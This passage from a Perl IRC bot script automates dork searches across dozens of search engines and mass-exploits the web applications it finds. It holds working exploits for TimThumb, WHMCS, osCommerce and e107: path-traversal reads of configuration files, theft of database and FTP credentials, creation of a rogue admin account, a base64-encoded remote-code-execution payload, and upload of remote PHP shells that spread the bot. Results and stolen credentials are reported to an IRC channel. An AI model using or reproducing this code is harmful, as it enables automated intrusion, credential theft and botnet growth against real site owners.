} else { &type($chan,$bug,$dork,"GooORG",$type,$nick); } exit; } } if ($engine =~ /goode/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDE",$type,$nick); } exit; } } if ($engine =~ /goofr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFR",$type,$nick); } exit; } } if ($engine =~ /goocz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCZ",$type,$nick); } exit; } } if ($engine =~ /gooir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIR",$type,$nick); } exit; } } if ($engine =~ /goome/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooME",$type,$nick); } exit; } } if ($engine =~ /goocl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCL",$type,$nick); } exit; } } if ($engine =~ /gootw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTW",$type,$nick); } exit; } } if ($engine =~ /goose/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSE",$type,$nick); } exit; } } if ($engine =~ /gooca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCA",$type,$nick); } exit; } } if ($engine =~ /goomx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMX",$type,$nick); } exit; } } if ($engine =~ /goonl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNL",$type,$nick); } exit; } } if ($engine =~ /goodk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooDK",$type,$nick); } exit; } } if ($engine =~ /goous/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUS",$type,$nick); } exit; } } if ($engine =~ /gooinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooINFO",$type,$nick); } exit; } } if ($engine =~ /gooin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIN",$type,$nick); } exit; } } if ($engine =~ /goomy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMY",$type,$nick); } exit; } } if ($engine =~ /goosk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSK",$type,$nick); } exit; } } if ($engine =~ /gootr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTR",$type,$nick); } exit; } } if ($engine =~ /gooedu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEDU",$type,$nick); } exit; } } if ($engine =~ /goono/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNO",$type,$nick); } exit; } } if ($engine =~ /gooth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTH",$type,$nick); } exit; } } if ($engine =~ /gooid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooID",$type,$nick); } exit; } } if ($engine =~ /goopl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPL",$type,$nick); } exit; } } if ($engine =~ /gooar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAR",$type,$nick); } exit; } } if ($engine =~ /gooes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooES",$type,$nick); } exit; } } if ($engine =~ /goove/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVE",$type,$nick); } exit; } } if ($engine =~ /gooro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooRO",$type,$nick); } exit; } } if ($engine =~ /goobiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBIZ",$type,$nick); } exit; } } if ($engine =~ /goocn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCN",$type,$nick); } exit; } } if ($engine =~ /gookr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKR",$type,$nick); } exit; } } if ($engine =~ /gooza/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooZA",$type,$nick); } exit; } } if ($engine =~ /goovn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooVN",$type,$nick); } exit; } } if ($engine =~ /goosi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSI",$type,$nick); } exit; } } if ($engine =~ /gooeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEU",$type,$nick); } exit; } } if ($engine =~ /goobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBE",$type,$nick); } exit; } } if ($engine =~ /goohu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHU",$type,$nick); } exit; } } if ($engine =~ /goolv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooLV",$type,$nick); } exit; } } if ($engine =~ /gooua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooUA",$type,$nick); } exit; } } if ($engine =~ /gooie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIE",$type,$nick); } exit; } } if ($engine =~ /gootv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTV",$type,$nick); } exit; } } if ($engine =~ /gooco/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCO",$type,$nick); } exit; } } if ($engine =~ /goopro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPRO",$type,$nick); } exit; } } if ($engine =~ /gooname/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNAME",$type,$nick); } exit; } } if ($engine =~ /gooby/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBY",$type,$nick); } exit; } } if ($engine =~ /gooph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPH",$type,$nick); } exit; } } if ($engine =~ /goojp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooJP",$type,$nick); } exit; } } if ($engine =~ /gooau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAU",$type,$nick); } exit; } } if ($engine =~ /goocat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCAT",$type,$nick); } exit; } } if ($engine =~ /goohk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHK",$type,$nick); } exit; } } if ($engine =~ /gooat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAT",$type,$nick); } exit; } } if ($engine =~ /goosu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooSU",$type,$nick); } exit; } } if ($engine =~ /goomobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMOBI",$type,$nick); } exit; } } if ($engine =~ /gooasia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooASIA",$type,$nick); } exit; } } if ($engine =~ /goocoop/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCOOP",$type,$nick); } exit; } } if ($engine =~ /goomn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMN",$type,$nick); } exit; } } if ($engine =~ /gooae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooAE",$type,$nick); } exit; } } if ($engine =~ /goobg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooBG",$type,$nick); } exit; } } if ($engine =~ /goonz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooNZ",$type,$nick); } exit; } } if ($engine =~ /gooee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooEE",$type,$nick); } exit; } } if ($engine =~ /googr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooGR",$type,$nick); } exit; } } if ($engine =~ /goopt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPT",$type,$nick); } exit; } } if ($engine =~ /gootn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooTN",$type,$nick); } exit; } } if ($engine =~ /gooke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooKE",$type,$nick); } exit; } } if ($engine =~ /goofi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooFI",$type,$nick); } exit; } } if ($engine =~ /goohr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooHR",$type,$nick); } exit; } } if ($engine =~ /gooch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCH",$type,$nick); } exit; } } if ($engine =~ /gooil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooIL",$type,$nick); } exit; } } if ($engine =~ /goope/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooPE",$type,$nick); } exit; } } if ($engine =~ /goomd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooMD",$type,$nick); } exit; } } if ($engine =~ /goocc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"GooCC",$type,$nick); } exit; } } } if ($gps2 ==1) { if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Google",$type,$nick); } exit; } } if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo",$type,$nick); } exit; } } if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Sapo",$type,$nick); } exit; } } if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Seznam",$type,$nick); } exit; } } if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Ask",$type,$nick); } exit; } } if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Hotbot",$type,$nick); } exit; } } if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Walla",$type,$nick); } exit; } } if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Onet",$type,$nick); } exit; } } if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Biglobe",$type,$nick); } exit; } } if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Lycos",$type,$nick); } exit; } } if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"UoL",$type,$nick); } exit; } } if ($engine =~ /outlook/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"OutLooK",$type,$nick); } exit; } } if ($engine =~ /dmoz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dMoz",$type,$nick); } exit; } } if ($engine =~ /pagina/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Pagina",$type,$nick); } exit; } } if ($engine =~ /clix/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Clix",$type,$nick); } exit; } } if ($engine =~ /google2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Google2",$type,$nick); } exit; } } if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Aol",$type,$nick); } exit; } } if ($engine =~ /yahoo2/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Yahoo2",$type,$nick); } exit; } } if ($engine =~ /kvasir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Kvasir",$type,$nick); } exit; } } if ($engine =~ /dogpile/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Dogpile",$type,$nick); } exit; } } if ($engine =~ /metacrawler/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"Metacrawler",$type,$nick); } exit; } } if ($engine =~ /about/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"About",$type,$nick); } exit; } } } } ###### EXPLOITING ####### sub thumb_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $vuln = "http://".$site.$bug."?src=".$timid; my $vulnx = "http://".$site.$bug."?src=".$timidx; my $vulnxx = "http://".$site.$bug."?src=".$timid3; if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my @nbug = split(/\//,$bug); my $cek = &get_content($vuln);sleep(1); my $cekx = &get_content($vulnx);sleep(1); if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){ if ($cekx =~ /Unable to open image(.*?)$nbug[0](.*?)$md5cps/i){ &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $thumblogo"); my $pdir = $2; if ($spreadMode == 1) { &get_content($vulnxx);sleep(1); } my $crut = "http://".$site.$nbug[0].$pdir.$md5php; my $crutx = "http://".$site.$nbug[0].$pdir.$md5cps; my $botx = "http://".$site.$nbug[0].$pdir.$md5bot; my $npath = "http://".$site."/wp-includes/wp-info.php"; my $check = &get_content($crut."?clone");sleep(1);&get_content($crutx);sleep(1);&get_content($botx);sleep(1); if ($check =~ /smoo - Shell/i){ my $crot = &get_content($npath);sleep(1); if ($crot =~ /smoo - Shell/i){ &os($npath,$chan,$engine,$thumblogo,$nick); } else { &os2($crut,$chan,$engine,$thumblogo,$nick); } } } } exit; } } } } sub whmcs_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $test1 = "http://".$site.$bug."../../../configuration.php%00"; my $submit = "http://".$site.$subticket; if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else { my $html = &get_content($test1); if ($html =~ /db_host/i) { my $userpass = &getUserPass($html); sleep(2); my $info = &getinfo($html); sleep(2); &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." |7 $info 9|$whmcslogo"); my $lulz = "http://".$site; my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = ""; if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { my $host = $2; my @ftpu = split($userpass); my @dbic = split($info); $user = $ftpu[0]; $pass = $ftpu[1]; $user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2]; my $ftpstat = ""; if($user =~ /_/) { @userz = split($user); $user = $userz[0];} &ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1); &dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1); } my $ceksubmit = &get_content($submit); if ($ceksubmit =~ /Urgency/i) { &msg("$submitchan","3,1{-{4@13$engine4@3}-}9 ".$submit." |$whmcslogo"); sleep(2); my $uploader = "http://".$site."/downloads/indexx.php"; my $uploader2 = "http://".$site."/templates_c/indexx.php"; my $cekup = &get_content($uploader); my $cekup2 = &get_content($uploader2); if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9 ".$uploader." $whmcslogo");&msg("$chan","3,1{-{4@13$engine4@3}-} 9 ".$uploader." $whmcslogo"); } if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9 ".$uploader2." $whmcslogo");&msg("$chan","3,1{-{4@13$engine4@3}-} 9 ".$uploader2." $whmcslogo"); } } } } exit; } } } } } sub osco_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $fm = "http://".$site."admin/administrators.php/login.php"; my $shell = "http://".$site."images/petx.php"; my $shellx = "http://".$site."images/cpx.php"; my $shellxx = "http://".$site."images/btxxx.php"; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $coba = &get_content($fm);sleep(1); if ($coba =~ /TABLE_HEADING_ADMINISTRATORS/i) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $oscologo"); my $test = $fm."?action=download&filename=/includes/configure.php"; my $cek = &get_content($test); if ($cek =~ /http:\/\//) { &osql_xpl($test,$chan,$site,$engine); &exp($site,$chan,$engine); } my $aplod = LWP::UserAgent->new; my $res = $aplod->post($fm."?action=insert",['admin_1' => ['./petx.jpg' => 'petx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string; my $resd = $aplod->post($fm."?action=insert",['admin_1' => ['./cpx.jpg' => 'cpx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resd->as_string; my $resdx = $aplod->post($fm."?action=insert",['admin_1' => ['./btxxx.php' => 'btxxx.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resdx->as_string; my $cekap = &get_content($shell);&get_content($shellx);&get_content($shellxx); if ($cekap =~ /smoo - Shell/) { &os2($shell,$chan,$engine,$oscologo,$nick); } } } exit; } } } } sub osql_xpl() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $request = HTTP::Request->new(GET=>$url); my $browser = LWP::UserAgent->new(); $browser->timeout(10); my $response = $browser->request($request); my @dbsinfo; if ($response->is_success) { my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = ""; my $res = $response->as_string; if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) { $dpath = $1; } if ($res =~ m/'DB_SERVER', '(.*)'/g) { $dbserver = $1; } if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) { $dbuser = $1; } if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) { $dbpass = $1; } if ($res =~ m/'DB_DATABASE', '(.*)'/g) { $dbname = $1; } my $hosts = "http://".$site; if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) { $host = $2; &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1); if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; } &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1); } } } sub exp(){ my $site = $_[0]; my $chan = $_[1]; my $engine = $_[2]; my $browser = LWP::UserAgent->new(); my $responde = HTTP::Request->new(POST => "http://".$site."/admin/administrators.php/login.php?action=insert"); $responde->content_type("application/x-www-form-urlencoded"); $responde->content("username=p3t&password=pass"); if($browser->request($responde)->as_string){ my $ch = "http://".$site."admin/administrators.php/login.php?action=new"; my $check = &get_content($ch); if ($check =~ /p3t/i){ &msg("$chan","3,1{-{4@13$engine4@3}-}9 http://".$site."admin/login.php 7[ p3t:pass ] $oscologo"); } } } sub e107_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $dork = $_[2]; my $engine = $_[3]; my $nick = $_[4]; my $count = 0; my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo,$nick); my $num = scalar(@totexploit); if ($num > 0){ foreach my $site(@totexploit){ $count++; my $test = "http://".$site.$bug; my $shell = "http://".$site."petx.php"; my $shellx = "http://".$site."cpx.php"; my $shellxx = "http://".$site."btxxx.php"; my $code = "ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=="; my $html = e107_rce_query($test,$code); if ($html =~ /v0pCr3w
sys:(.+?)
nob0dyCr3w/) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $e107logo"); &e107xpl1($chan,$site,$engine); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; my $upload = 'if(@copy("'.$injector.'","petx.php")) { echo "c0liSUKSESc0li"; }'; my $uploadx = 'if(@copy("'.$botshell2.'","cpx.php")) { echo "c0liSUKSESc0li"; }'; my $uploadxx = 'if(@copy("'.$botshell3.'","btxxx.php")) { echo "c0liSUKSESc0li"; }'; my $res = e107_rce_query($test,encode_base64($upload));e107_rce_query($test,encode_base64($uploadx));e107_rce_query($test,encode_base64($uploadxx)); if ($res =~ /c0liSUKSESc0li/) { &os2($shell,$chan,$engine,$e107logo,$nick); sleep(5); } else { sleep(5); } &e107_spread_query($test); sleep(2); } exit; } sleep(5); } elsif ($html =~ /v0pCr3w
sys:(.+?)
/) { &msg("$chan","3,1{-{4@13$engine4@3}-} 4check 7http://$site $e107logo"); &e107xpl1($chan,$site,$engine); if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $sys = $1; my $upload = 'if(@copy("'.$injector.'","petx.php")) { echo "c0liSUKSESc0li"; }'; my $uploadx = 'if(@copy("'.$botshell2.'","cpx.php")) { echo "c0liSUKSESc0li"; }'; my $uploadxx = 'if(@copy("'.$botshell3.'","btxxx.php")) { echo "c0liSUKSESc0li"; }'; my $res = e107_rce_query($test,encode_base64($upload));e107_rce_query($test,encode_base64($uploadx));e107_rce_query($test,encode_base64($uploadxx)); if ($res =~ /c0liSUKSESc0li/) { &os2($shell,$chan,$engine,$e107logo,$nick); sleep(5); } else { sleep(5); } } exit; } sleep(5); } } } } sub e107_rce_query() { my $url = $_[0]; my $code = $_[1]; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content("send-contactus=1&author_name=[php]eval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D"); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7); my $res = $ua->request($req); return $res->content; } sub e107_spread_query() { my $url = $_[0]; my $code = "7ZPfasIwFMbvB3uHGAamMqv7c2XnEPYAe4FBadMTW5cmIUmtMnz3JWmrDASZsLvdpef7vt85JKdAS4nwdq7e9FP7kutXnNzeQCiavVngWJUqbURWA4liPBjuaF0scbAJmc+LvU8ntEAzW6tE12iqGSqkjidoEm/UOp4kDCwtUWmtWsxmn1Jbl46pmOW58SHvSlwvNJx7yPDZrsFen6aN5mj6fj2At2payFZwmRW/oPgb2Wb6/1Z+UMIGgYF1U/k9gh3x+xQlYZ9OgnOxRlBbSYGCh0H05ZIaDFqi8djpFUNkBLWy+072esXIEEthVxlryBh2QMdBXfljMN97UJQcgRtZCYI/BD4KB/cncAPngKYEztMTtmesTvVuoAuUvbFQ94PJPDU205b40KqTjpCB70zuyVMqhQXhEMHriiCKlHLIBLnQUmXG2FI3Z5sO4h+0lQpEf1XME0OhewessU+3ZcWBjFYMJOtfE32hMEHsAkxDVnSBh/njc5Sgg5+YcmmA3LHQ31U02EaLEPOVbw=="; my $req = HTTP::Request->new(POST => $url); $req->content_type('application/x-www-form-urlencoded'); $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D"); my $ua = LWP::UserAgent->new(agent => $uagent); $ua->timeout(7); my $res = $ua->request($req); } sub e107xpl1() { my $chan = $_[0]; my $site = $_[1]; my $engine = $_[2]; my $test = "http://".$site."e107_plugins/my_gallery/image.php?file=../../e107_config.php"; my $re = &get_content($test); if ($re =~ /http:\/\//){ &esql_xpl($test,$chan,$site,$engine); } } sub esql_xpl() { my $url = $_[0]; my $chan = $_[1]; my $site = $_[2]; my $engine = $_[3]; my $request = HTTP::Request->new(GET=>$url); my $browser = LWP::UserAgent->new(); $browser->timeout(10); my $response = $browser->request($request); if ($response->is_success) { my $res = $response->as_string; if ($res =~ m/mySQLserver = '(.*)'/g) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." 15[+]DB Server:7 $1 $e107logo"); } if ($res =~ m/mySQLuser = '(.*)'/g) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." 15[+]DB Username:7 $1 $e107logo"); } if ($res =~ m/mySQLpassword = '(.*)'/g) { &msg("$chan","3,1{-{4@13$engine4@3}-} 9http://".$site." 15[+]DB Password:7 $1 $e107logo"); } if ($res =~ m/mySQLdefaultdb = 